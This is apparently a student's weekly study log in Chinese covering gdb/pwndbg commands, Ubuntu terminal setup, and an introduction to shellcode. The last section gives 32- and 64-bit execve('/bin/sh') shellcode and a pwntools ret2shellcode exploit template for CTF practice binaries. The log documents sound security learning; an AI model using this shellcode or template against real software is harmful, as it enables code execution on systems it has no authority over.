周报
2023.04.09
1. 继续上周gdb调试的学习
除了最基本的b:打断点;r:运行;c:继续...等指令,还有vmmap:打印链接库;libc:输出libc_base;stack:查看栈...
附上一位师傅博客上总结的GDB使用方法:
带源码调试: gdb -q [file] -d [path](默认为.)
2.下断点: b address
3.运行: r
4.继续: c
5.运行下一步: ni
6.打印链接库: vmmap
7.输出libc_base: libc
8.查看堆: heap,parseheap
9.查看bins: bin
10.查看address处的内存 x /nxg adress
11.打印地址/指针:p address
12.查看栈:stack length
13.查看地址:telescoope address
14.查看hex: hex address
15.格式化字符串偏移地址: fmtarg
1.编译时开启调试模式
在编译C或C++程序时需要加上 -g 参数开启调试模式,例如:
gcc -g main.c -o main
2.启动gdb
在终端中输入 gdb 命令后,后面可以跟上要调试的可执行文件的路径,例如:
gdb /usr/local/bin/myprogram
3.设置断点
设置断点可以让调试器停止程序执行,以便我们检查当前状态和变量值。使用 break 命令可以在函数名、行号等位置设置断点,例如:
break main.c:25
4.运行程序
使用 run 命令启动程序,可以加上参数,例如:
run arg1 arg2
5.单步调试
使用 step 命令可以执行一行代码并进入函数内部,使用 next 命令可以执行一行代码不进入函数内部。例如:
step
next
6.查看变量值
使用 print 命令可以查看某个变量的值,例如:
print myvar
7.修改变量值
使用 set 命令可以修改某个变量的值,例如:
set myvar = 5
8.继续执行
使用 continue 命令可以继续执行程序直到遇到下一个断点或程序结束。例如:
continue
9.退出gdb
使用 quit 命令可以退出gdb。例如:
quit
参考链接
https://github.com/pwndbg/pwndbg
https://browserpwndbg.readthedocs.io/en/docs/
https://sourceware.org/gdb/current/onlinedocs/gdb.html/(官方文档)
https://wizardforcel.gitbooks.io/100-gdb-tips/content/index.html(100个gdb调试小技巧)
2.ubuntu美化
①装了oh-my-zsh来美化终端,装插件后还有代码自动补全功能。
安装和使用步骤具体参考:
https://blog.csdn.net/weixin_43971252/article/details/122225757
https://blog.csdn.net/zqqrx0546/article/details/114458725
②通过ssh实现在windows本地终端就能打pwn(再也不用打开那个有时候卡得遭不住的虚拟机了)
大概长这样?
③向探姬前辈取经发现了KDE这个好东西
通过一段时间的使用目前觉得有以下几个优点:
(1)更像windows界面,看着更舒服。
(2)解决了windows本地文件无法直接通过鼠标拖拽的方式直接传到ubuntu上去的问题(虽然直接复制粘贴也花不了太多时间),使得本地和虚拟机之间的文件交互更方便。
3.在博客园上搭建了自己的第一个博客
相对于在服务器上面部署自己的博客,博客园上创建自己的博客要简单很多,目前博客园能满足我的所有需求。如果以后有需要的话,才会去考虑搭建新博客。
2023.4.30
shellcode,shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
最简单的shellcode就是直接用C语言system函数来调用/bin/sh
# include <stdlib.h>
# include <unistd.h>
int main(void)
{
system("/bin/sh");
return 0;
}
32位的shellcode:
使用此shellcode的前提条件:(1)设置ebx指向/bin/sh(2)ecx=0,edx=0(3)eax=0xb(4)int 0x80触发中断。
global _start
_start:
push "/sh"
push "/bin"
mov ebx, esp ;;ebx="/bin/sh"
xor edx, edx ;;edx=0
xor ecx, ecx ;;ecx=0
mov al, 0xb ;;设置al=0xb,对应系统调用execve
int 0x80
64位的shellcode:
使用此前提条件:(1)设置rdi指向/bin/sh(2)rsi=0,rdx=0(3)rax=0x3b(4)syscall 进行系统调用。64位不再用int 0x80触发中断,而是直接用syscall进行系统调用。
global _start
_start:
mov rbx, '/bin/sh'
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
用pwntools生成shellcode:
from pwn import*
shellcode=asm(shellcraft.sh())
exp模板:(以32位为例)
from pwn import *
p=process("./ret2shellcode")
#shellcode=asm(shellcraft.sh()) #自动生成shellcode
shellcode=asm("""
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
""")#手动生成shellcode
payload=shellcode.ljust(xxx,'a')+p32(shell_ad)
p.sendline(payload)
p.interactive()